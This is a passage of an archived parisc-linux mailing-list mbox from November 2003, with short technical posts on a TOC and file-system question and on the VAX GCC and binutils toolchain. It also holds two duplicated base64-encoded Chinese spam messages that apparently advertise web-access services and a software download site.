	by dsl2.external.hp.com (Postfix) with ESMTP id 8D3734840
	for <parisc-linux@lists.parisc-linux.org>; Mon, 24 Nov 2003 09:26:02 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 6AF7029802E; Mon, 24 Nov 2003 09:26:01 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 00538-08; Mon, 24 Nov 2003 09:26:00 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id D10BC29802D; Mon, 24 Nov 2003 09:26:00 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <3FB2652500006387@ocpmta2.freegates.net>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p5 (Debian) at lackof.org
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20212

On Mon, Nov 24, 2003 at 08:49:20AM +0100, Joel Soete wrote:
> And only power off / on allow to restart. (id don't remember if toc sync
> disk or not, but I noticed also that fs have to fsck)

TOC has nothing to do with the file system

grant


From - Thu Nov 08 21:30:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jan-Benedict Glaw <jbglaw@lug-owl.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [OT] VAX toolchain (was: Tool chain pb)
Date: Mon, 24 Nov 2003 18:09:32 +0100
Lines: 50
Approved: news@gmane.org
Message-ID: <20031124170931.GB1037@lug-owl.de>
References: <20031123213657.GT1037@lug-owl.de> <200311232145.hANLjo4i028914@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="6Xzo4JcPtd4sZwMc"
X-Trace: ger.gmane.org 1416622997 2290 80.91.229.3 (22 Nov 2014 02:23:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:17 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 24 10:09:33 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from dvmwest.gt.owl.de (dvmwest.gt.owl.de [62.52.24.140])
	by dsl2.external.hp.com (Postfix) with ESMTP id 31B594840
	for <parisc-linux@parisc-linux.org>; Mon, 24 Nov 2003 10:09:33 -0700 (MST)
Original-Received: by dvmwest.gt.owl.de (Postfix, from userid 1001)
	id 20AE74B47D; Mon, 24 Nov 2003 18:09:32 +0100 (CET)
Content-Disposition: inline
In-Reply-To: <200311232145.hANLjo4i028914@hiauly1.hia.nrc.ca>
X-Operating-System: Linux mail 2.4.18 
X-gpg-fingerprint: 250D 3BCF 7127 0D8C A444  A961 1DBD 5E75 8399 E1BB
X-gpg-key: wwwkeys.de.pgp.net
User-Agent: Mutt/1.5.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20213

--6Xzo4JcPtd4sZwMc
Content-Type: text/plain; charset=iso-8859-1
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Sun, 2003-11-23 16:45:50 -0500, John David Anglin <dave@hiauly1.hia.nrc.=
ca>
wrote in message <200311232145.hANLjo4i028914@hiauly1.hia.nrc.ca>:

> > I thrust you - bad for me; I'm currently looking at vax-linux, where we
> > use an quite dated compiler...
>=20
> There is one outstanding PR for the vax which causes labels to be deleted
> after a case insn.  If this gets fixed, you probably should be able to
> switch to GCC 3.4.  I know C builds at -O1.

Not even HEAD binutils will work unpatched for vax-linux (it's missing
Linux glue code as well as configure need to recognize vax-linux (or
vax-dec-linux-gnu)... It's just that there are really little people
interested in Linux on a VAX and thus, even all the work needed to keep
catching up with HEAD is a hard time...

However, *BSD does already support VAX somewhat and I hope that we maybe
can profit from that fact, esp for GCC.

MfG, JBG

--=20
   Jan-Benedict Glaw       jbglaw@lug-owl.de    . +49-172-7608481
   "Eine Freie Meinung in  einem Freien Kopf    | Gegen Zensur | Gegen Krieg
    fuer einen Freien Staat voll Freier B=FCrger" | im Internet! |   im Ira=
k!
   ret =3D do_actions((curr | FREE_SPEECH) & ~(NEW_COPYRIGHT_LAW | DRM | TC=
PA));

--6Xzo4JcPtd4sZwMc
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: Digital signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.3 (GNU/Linux)

iD8DBQE/wjtLHb1edYOZ4bsRAocnAJ43bBkdmvWfjT7fAJYkIly/ZJyW0wCeNSw5
K9+MuVMfNt7ueeKujNB5zKs=
=8QP5
-----END PGP SIGNATURE-----

--6Xzo4JcPtd4sZwMc--


From - Thu Nov 08 21:30:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: kandwang@bellsouth.net
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] ֮--κվݡ
Date: Tue, 25 Nov 03 02:47:05 +0800
Lines: 77
Approved: news@gmane.org
Message-ID: <20031124185023.1D2464840@dsl2.external.hp.com>
Reply-To: kandwang@bellsouth.net
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
    boundary="----=_NextPart_000_0072_3BF700BB.B3E50231"
X-Trace: ger.gmane.org 1416622997 2293 80.91.229.3 (22 Nov 2014 02:23:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:17 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 24 11:50:24 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.NjQ4MjAK.com (unknown [211.161.61.118])
	by dsl2.external.hp.com (Postfix) with SMTP id 1D2464840
	for <parisc-linux@lists.parisc-linux.org>; Mon, 24 Nov 2003 11:50:23 -0700 (MST)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20214

------=_NextPart_000_0072_3BF700BB.B3E50231
Content-Type: multipart/alternative;
	boundary="----=_NextPart_001_0073_3BF700BB.B3E50231"


------=_NextPart_001_0073_3BF700BB.B3E50231
Content-Type: text/plain; charset=gb2312
Content-Transfer-Encoding: base64

1eLKx9PDs6zOxLG+uPHKvbHg0LS1xNPKvP6jrMfryrnTw7OszsSxvre9yr3kr8DAoaMNCg0KDQoNCg0K

------=_NextPart_001_0073_3BF700BB.B3E50231
Content-Type: text/html; charset=gb2312
Content-Transfer-Encoding: base64


PGh0bWw+DQo8aGVhZD4NCjx0aXRsZT6w79b6zfjD8dfU08nJz834o6zNqLn90tTPwre9yr2/ydLU5K/A
wMjOus7N+NW+PC90aXRsZT4NCjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0i
dGV4dC9odG1sOyBjaGFyc2V0PWdiMjMxMiI+DQo8L2hlYWQ+DQo8Ym9keSBiZ2NvbG9yPSIjRkZGRkZG
IiB0ZXh0PSIjMDAwMDAwIj4NCjxmb250IA0KICAgICAgc2l6ZT0yPjxmb250IHNpemU9Mj4gDQo8cD4g
sO/W+s34w/HX1NPJyc/N+KOszai5/dLUz8K3vcq9v8nS1OSvwMDIzrrOzfjVvqO6PGZvbnQgc2l6ZT0i
MiI+PGI+PGJyPg0KICA8L2I+PGEgaHJlZj0iaHR0cHM6Ly93d3cxLmZ0ODg4Lm5ldC8iIA0KICAgICAg
dGFyZ2V0PV9ibGFuaz5odHRwczovL3d3dzEuZnQ4ODgubmV0LzwvYT48YnI+DQogIDxhIA0KICAgICAg
aHJlZj0iaHR0cHM6Ly93d3cyLmZ0ODg4Lm5ldC8iIA0KICAgICAgdGFyZ2V0PV9ibGFuaz5odHRwczov
L3d3dzIuZnQ4ODgubmV0LzwvYT48YnI+DQogIDxhIA0KICAgICAgaHJlZj0iaHR0cHM6Ly93d3czLmZ0
ODg4Lm5ldC8iIHRhcmdldD1fYmxhbms+aHR0cHM6Ly93d3czLmZ0ODg4Lm5ldC88L2E+IA0KICA8YnI+
DQogIDxicj4NCiAgPGZvbnQgc2l6ZT0yPiA8L2ZvbnQ+PC9mb250Pg0KPC9mb250PjwvZm9udD48Zm9u
dCBzaXplPSIyIj48Zm9udCBzaXplPTI+DQo8cD48Yj4wtqnUxLavzKzN+Dxicj4NCiAgPC9iPrj40tTP
wsjO0uLSu7j208rP5Lei0ru49rXn19PTyrz+o6y+zcTcw7/Su8G91tzK1bW9tq/MrM34vLzK9bj80MKj
rNXGztXX7tDCzbvGxs34wue34sv4tcSw7LeooaM8YnI+DQogIDxhIA0KICAgICAgaHJlZj0ibWFpbHRv
OmRuZXRfc3ViQGJlbGxzb3V0aC5uZXQiPmRuZXRfc3ViQGJlbGxzb3V0aC5uZXQ8YnI+DQogIDwvYT48
YSANCiAgICAgIGhyZWY9Im1haWx0bzpkdHdhbmdAYmVsbHNvdXRoLm5ldCI+ZHR3YW5nQGJlbGxzb3V0
aC5uZXQ8L2E+PGJyPg0KICA8YSANCiAgICAgIGhyZWY9Im1haWx0bzprYW5kd2FuZ0BiZWxsc291dGgu
bmV0Ij5rYW5kd2FuZ0BiZWxsc291dGgubmV0PC9hPiANCjxwPjxiPjHX1NPJ1q7DxcjtvP48YnI+DQog
IDwvYj7V4rj2ysfX7rzytaW1xKOsysrTw9PatuDK/c34wue7t76zoaPPwtTYuvOjrMuru/fWtNDQzsS8
/ry0v8nUy9DQoaM8YSANCiAgICAgIGhyZWY9Imh0dHBzOi8vd3d3MS5mdDg4OC5uZXQvbG9jL2Rvd25s
b2FkLmh0bWwiIHRhcmdldD1fYmxhbms+z8LU2MjtvP4gPC9hPiANCjxwPjxmb250IHNpemU9Mj48Yj4y
zfjSszxicj4NCiAgPC9iPjwvZm9udD48YSANCiAgICAgIGhyZWY9Imh0dHA6Ly9wcm9maWxlcy55YWhv
by5jb20vaHVhbmdzaGFuNTQzMjEiIA0KICAgICAgdGFyZ2V0PV9ibGFuaz5odHRwOi8vcHJvZmlsZXMu
eWFob28uY29tL2h1YW5nc2hhbjU0MzIxPC9hPiA8YnI+DQogIDxhIA0KICAgICAgaHJlZj0iaHR0cDov
L3Byb2ZpbGVzLnlhaG9vLmNvbS9zb25nc2hhbjEyMzQ1IiANCiAgICAgIHRhcmdldD1fYmxhbms+aHR0
cDovL3Byb2ZpbGVzLnlhaG9vLmNvbS9zb25nc2hhbjEyMzQ1PC9hPiA8YnI+DQogIDxhIA0KICAgICAg
aHJlZj0iaHR0cDovL3Byb2ZpbGVzLnlhaG9vLmNvbS90YWlzaGFuOTg3NjUiIA0KICAgICAgdGFyZ2V0
PV9ibGFuaz5odHRwOi8vcHJvZmlsZXMueWFob28uY29tL3RhaXNoYW45ODc2NTwvYT4gPGJyPg0KICA8
YSANCiAgICAgIGhyZWY9Imh0dHA6Ly9wcm9maWxlcy55YWhvby5jb20vaGVuZ3NoYW41Njc4OSIgDQog
ICAgICB0YXJnZXQ9X2JsYW5rPmh0dHA6Ly9wcm9maWxlcy55YWhvby5jb20vaGVuZ3NoYW41Njc4OTwv
YT4gPGJyPg0KICA8YSANCiAgICAgIGhyZWY9Imh0dHA6Ly9wcm9maWxlcy55YWhvby5jb20vZW1laXNo
YW4xMjM0NSIgDQogICAgICB0YXJnZXQ9X2JsYW5rPmh0dHA6Ly9wcm9maWxlcy55YWhvby5jb20vZW1l
aXNoYW4xMjM0NTwvYT48YnI+DQogIDxicj4NCjxmb250IHNpemU9Mj4gDQo8cD48Yj4z0cW7os2oPGJy
Pg0KICA8L2I+yOe5+8T6yrnTw9HFu6LNqLXEu7CjrL/J0tS4+GR3ZWJfaXBAeWFob28uY29tt6LSu7j2
vLTKsbbM0MWjrNK7t9bW08Tau+HK1bW9vLi49klQoaO78tXfv8nS1LDRZHdlYl9pcEB5YWhvby5jb228
086qobDF89PRobGjrNK7yc/P377Nv8nS1LTT0cW7os2o1tBkd2ViX2lwv7S1vbavzKzN+LXESVChoyAN
CiAg0cW7os2ov8nS1NTaPGEgaHJlZj0iaHR0cDovL2NuLm1lc3Nlbmdlci55YWhvby5jb20vIiANCiAg
ICAgIHRhcmdldD1fYmxhbms+aHR0cDovL2NuLm1lc3Nlbmdlci55YWhvby5jb20vPC9hPs/C1Niho8T6
tcPT0NK7uPbRxbuitcS159fT08q8/rLFxNzTw9HFu6LNqKGjIA0KPHA+PGI+NE1TTjxicj4NCiAgPC9i
PsjnufvE+sq508NNU07D4rfRvLTKsc/7z6K3/s7xtcS7sKOsv8nS1NPDTVNOw+K30by0yrHP+8+iuPh3
ZWJtYTAwOEBob3RtYWlsLmNvbSwgd2VibWEwMDZAaG90bWFpbC5jb20sIA0KICB3ZWJtYTAwNEBob3Rt
YWlsLmNvbSwgd2VibWEwMDJAaG90bWFpbC5jb20sILvy1d8gd2VibWEwMDBAaG90bWFpbC5jb223otK7
uPa2zNDFo6zSu7fW1tPE2rvhytW1vby4uPZJUKGjIA0KICDT69HFu6LNqLK7zay1xMrHo6zE+r/J0tTT
w8jOus6159fT08q8/rXY1rfXorLh0ru49tXKusWho8/C1Ni12Na3o7o8YSANCiAgICAgIGhyZWY9Imh0
dHA6Ly9tZXNzZW5nZXIubWljcm9zb2Z0LmNvbS9jbi8iIA0KICAgICAgdGFyZ2V0PV9ibGFuaz5odHRw
Oi8vbWVzc2VuZ2VyLm1pY3Jvc29mdC5jb20vY24vPC9hPiANCjxwPjxiPjXKudPDtefX09PKvP48YnI+
DQogIDwvYj64+DxhIA0KICAgICAgaHJlZj0ibWFpbHRvOmRfaXBAYmVsbHNvdXRoLm5ldCI+ZF9pcEBi
ZWxsc291dGgubmV0PC9hPrei0ru49rXn19PTyrz+o6wxMLfW1tPE2rvhytW1vbvY0MWjrMTDtb28uLj2
SVChozxicj4NCiAgPGJyPg0KDQo8cD48Yj7I57n7xPrPsru2tq/MrM34o6zH67DR1eLQqdDFz6LT68Xz
09G31s/toaM8L2I+IA0KPC9mb250PiA8L2ZvbnQ+PC9mb250Pjxicj4NCjwvYm9keT4NCjwvaHRtbD4N
Cg


------=_NextPart_001_0073_3BF700BB.B3E50231--



------=_NextPart_000_0072_3BF700BB.B3E50231--




From - Thu Nov 08 21:30:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: kandwang@bellsouth.net
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] ֮--κվݡ
Date: Tue, 25 Nov 03 03:39:02 +0800
Lines: 77
Approved: news@gmane.org
Message-ID: <20031124194220.3406D4840@dsl2.external.hp.com>
Reply-To: kandwang@bellsouth.net
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
    boundary="----=_NextPart_000_0072_3BF700BB.B3E50231"
X-Trace: ger.gmane.org 1416622998 2297 80.91.229.3 (22 Nov 2014 02:23:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:18 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 24 12:42:21 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.MzYxNzAK.com (unknown [211.161.61.118])
	by dsl2.external.hp.com (Postfix) with SMTP id 3406D4840
	for <parisc-linux@lists.parisc-linux.org>; Mon, 24 Nov 2003 12:42:20 -0700 (MST)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20215

------=_NextPart_000_0072_3BF700BB.B3E50231
Content-Type: multipart/alternative;
	boundary="----=_NextPart_001_0073_3BF700BB.B3E50231"


------=_NextPart_001_0073_3BF700BB.B3E50231
Content-Type: text/plain; charset=gb2312
Content-Transfer-Encoding: base64

1eLKx9PDs6zOxLG+uPHKvbHg0LS1xNPKvP6jrMfryrnTw7OszsSxvre9yr3kr8DAoaMNCg0KDQoNCg0K

------=_NextPart_001_0073_3BF700BB.B3E50231
Content-Type: text/html; charset=gb2312
Content-Transfer-Encoding: base64


PGh0bWw+DQo8aGVhZD4NCjx0aXRsZT6w79b6zfjD8dfU08nJz834o6zNqLn90tTPwre9yr2/ydLU5K/A
wMjOus7N+NW+PC90aXRsZT4NCjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0i
dGV4dC9odG1sOyBjaGFyc2V0PWdiMjMxMiI+DQo8L2hlYWQ+DQo8Ym9keSBiZ2NvbG9yPSIjRkZGRkZG
IiB0ZXh0PSIjMDAwMDAwIj4NCjxmb250IA0KICAgICAgc2l6ZT0yPjxmb250IHNpemU9Mj4gDQo8cD4g
sO/W+s34w/HX1NPJyc/N+KOszai5/dLUz8K3vcq9v8nS1OSvwMDIzrrOzfjVvqO6PGZvbnQgc2l6ZT0i
MiI+PGI+PGJyPg0KICA8L2I+PGEgaHJlZj0iaHR0cHM6Ly93d3cxLmZ0ODg4Lm5ldC8iIA0KICAgICAg
dGFyZ2V0PV9ibGFuaz5odHRwczovL3d3dzEuZnQ4ODgubmV0LzwvYT48YnI+DQogIDxhIA0KICAgICAg
aHJlZj0iaHR0cHM6Ly93d3cyLmZ0ODg4Lm5ldC8iIA0KICAgICAgdGFyZ2V0PV9ibGFuaz5odHRwczov
L3d3dzIuZnQ4ODgubmV0LzwvYT48YnI+DQogIDxhIA0KICAgICAgaHJlZj0iaHR0cHM6Ly93d3czLmZ0
ODg4Lm5ldC8iIHRhcmdldD1fYmxhbms+aHR0cHM6Ly93d3czLmZ0ODg4Lm5ldC88L2E+IA0KICA8YnI+
DQogIDxicj4NCiAgPGZvbnQgc2l6ZT0yPiA8L2ZvbnQ+PC9mb250Pg0KPC9mb250PjwvZm9udD48Zm9u
dCBzaXplPSIyIj48Zm9udCBzaXplPTI+DQo8cD48Yj4wtqnUxLavzKzN+Dxicj4NCiAgPC9iPrj40tTP
wsjO0uLSu7j208rP5Lei0ru49rXn19PTyrz+o6y+zcTcw7/Su8G91tzK1bW9tq/MrM34vLzK9bj80MKj
rNXGztXX7tDCzbvGxs34wue34sv4tcSw7LeooaM8YnI+DQogIDxhIA0KICAgICAgaHJlZj0ibWFpbHRv
OmRuZXRfc3ViQGJlbGxzb3V0aC5uZXQiPmRuZXRfc3ViQGJlbGxzb3V0aC5uZXQ8YnI+DQogIDwvYT48
YSANCiAgICAgIGhyZWY9Im1haWx0bzpkdHdhbmdAYmVsbHNvdXRoLm5ldCI+ZHR3YW5nQGJlbGxzb3V0
aC5uZXQ8L2E+PGJyPg0KICA8YSANCiAgICAgIGhyZWY9Im1haWx0bzprYW5kd2FuZ0BiZWxsc291dGgu
bmV0Ij5rYW5kd2FuZ0BiZWxsc291dGgubmV0PC9hPiANCjxwPjxiPjHX1NPJ1q7DxcjtvP48YnI+DQog
IDwvYj7V4rj2ysfX7rzytaW1xKOsysrTw9PatuDK/c34wue7t76zoaPPwtTYuvOjrMuru/fWtNDQzsS8
/ry0v8nUy9DQoaM8YSANCiAgICAgIGhyZWY9Imh0dHBzOi8vd3d3MS5mdDg4OC5uZXQvbG9jL2Rvd25s
b2FkLmh0bWwiIHRhcmdldD1fYmxhbms+z8LU2MjtvP4gPC9hPiANCjxwPjxmb250IHNpemU9Mj48Yj4y
zfjSszxicj4NCiAgPC9iPjwvZm9udD48YSANCiAgICAgIGhyZWY9Imh0dHA6Ly9wcm9maWxlcy55YWhv
by5jb20vaHVhbmdzaGFuNTQzMjEiIA0KICAgICAgdGFyZ2V0PV9ibGFuaz5odHRwOi8vcHJvZmlsZXMu
eWFob28uY29tL2h1YW5nc2hhbjU0MzIxPC9hPiA8YnI+DQogIDxhIA0KICAgICAgaHJlZj0iaHR0cDov
L3Byb2ZpbGVzLnlhaG9vLmNvbS9zb25nc2hhbjEyMzQ1IiANCiAgICAgIHRhcmdldD1fYmxhbms+aHR0
cDovL3Byb2ZpbGVzLnlhaG9vLmNvbS9zb25nc2hhbjEyMzQ1PC9hPiA8YnI+DQogIDxhIA0KICAgICAg
aHJlZj0iaHR0cDovL3Byb2ZpbGVzLnlhaG9vLmNvbS90YWlzaGFuOTg3NjUiIA0KICAgICAgdGFyZ2V0
PV9ibGFuaz5odHRwOi8vcHJvZmlsZXMueWFob28uY29tL3RhaXNoYW45ODc2NTwvYT4gPGJyPg0KICA8
YSANCiAgICAgIGhyZWY9Imh0dHA6Ly9wcm9maWxlcy55YWhvby5jb20vaGVuZ3NoYW41Njc4OSIgDQog
ICAgICB0YXJnZXQ9X2JsYW5rPmh0dHA6Ly9wcm9maWxlcy55YWhvby5jb20vaGVuZ3NoYW41Njc4OTwv
YT4gPGJyPg0KICA8YSANCiAgICAgIGhyZWY9Imh0dHA6Ly9wcm9maWxlcy55YWhvby5jb20vZW1laXNo
YW4xMjM0NSIgDQogICAgICB0YXJnZXQ9X2JsYW5rPmh0dHA6Ly9wcm9maWxlcy55YWhvby5jb20vZW1l
aXNoYW4xMjM0NTwvYT48YnI+DQogIDxicj4NCjxmb250IHNpemU9Mj4gDQo8cD48Yj4z0cW7os2oPGJy
Pg0KICA8L2I+yOe5+8T6yrnTw9HFu6LNqLXEu7CjrL/J0tS4+GR3ZWJfaXBAeWFob28uY29tt6LSu7j2
vLTKsbbM0MWjrNK7t9bW08Tau+HK1bW9vLi49klQoaO78tXfv8nS1LDRZHdlYl9pcEB5YWhvby5jb228
086qobDF89PRobGjrNK7yc/P377Nv8nS1LTT0cW7os2o1tBkd2ViX2lwv7S1vbavzKzN+LXESVChoyAN
CiAg0cW7os2ov8nS1NTaPGEgaHJlZj0iaHR0cDovL2NuLm1lc3Nlbmdlci55YWhvby5jb20vIiANCiAg
ICAgIHRhcmdldD1fYmxhbms+aHR0cDovL2NuLm1lc3Nlbmdlci55YWhvby5jb20vPC9hPs/C1Niho8T6
tcPT0NK7uPbRxbuitcS159fT08q8/rLFxNzTw9HFu6LNqKGjIA0KPHA+PGI+NE1TTjxicj4NCiAgPC9i
PsjnufvE+sq508NNU07D4rfRvLTKsc/7z6K3/s7xtcS7sKOsv8nS1NPDTVNOw+K30by0yrHP+8+iuPh3
ZWJtYTAwOEBob3RtYWlsLmNvbSwgd2VibWEwMDZAaG90bWFpbC5jb20sIA0KICB3ZWJtYTAwNEBob3Rt
YWlsLmNvbSwgd2VibWEwMDJAaG90bWFpbC5jb20sILvy1d8gd2VibWEwMDBAaG90bWFpbC5jb223otK7
uPa2zNDFo6zSu7fW1tPE2rvhytW1vby4uPZJUKGjIA0KICDT69HFu6LNqLK7zay1xMrHo6zE+r/J0tTT
w8jOus6159fT08q8/rXY1rfXorLh0ru49tXKusWho8/C1Ni12Na3o7o8YSANCiAgICAgIGhyZWY9Imh0
dHA6Ly9tZXNzZW5nZXIubWljcm9zb2Z0LmNvbS9jbi8iIA0KICAgICAgdGFyZ2V0PV9ibGFuaz5odHRw
Oi8vbWVzc2VuZ2VyLm1pY3Jvc29mdC5jb20vY24vPC9hPiANCjxwPjxiPjXKudPDtefX09PKvP48YnI+
DQogIDwvYj64+DxhIA0KICAgICAgaHJlZj0ibWFpbHRvOmRfaXBAYmVsbHNvdXRoLm5ldCI+ZF9pcEBi
ZWxsc291dGgubmV0PC9hPrei0ru49rXn19PTyrz+o6wxMLfW1tPE2rvhytW1vbvY0MWjrMTDtb28uLj2
SVChozxicj4NCiAgPGJyPg0KDQo8cD48Yj7I57n7xPrPsru2tq/MrM34o6zH67DR1eLQqdDFz6LT68Xz
09G31s/toaM8L2I+IA0KPC9mb250PiA8L2ZvbnQ+PC9mb250Pjxicj4NCjwvYm9keT4NCjwvaHRtbD4N
Cg


------=_NextPart_001_0073_3BF700BB.B3E50231--



------=_NextPart_000_0072_3BF700BB.B3E50231--




From - Thu Nov 08 21:30:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] strace locks up 2.4.22-pa14
Date: Tue, 25 Nov 2003 08:23:23 +0100
Lines: 39
Approved: news@gmane.org
Message-ID: <3FB25B960000788E@ocpmta1.freegates.net>
References: <3FB265250000633D@ocpmta2.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622998 2299 80.91.229.3 (22 Nov 2014 02:23:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:18 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Grant Grundler" <grundler@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Nov 25 00:23:27 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout2.tiscali.be (cpout2.tiscali.be [62.235.13.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3EC0A4841
	for <parisc-linux@lists.parisc-linux.org>; Tue, 25 Nov 2003 00:23:27 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout2.tiscali.be with esmtp (Tiscali) 
	id 1AOXXg-0000kl-00; Tue, 25 Nov 2003 08:23:24 +0100
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Tue, 25 Nov 2003 08:23:23 +0100
In-Reply-To: <3FB265250000633D@ocpmta2.freegates.net>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
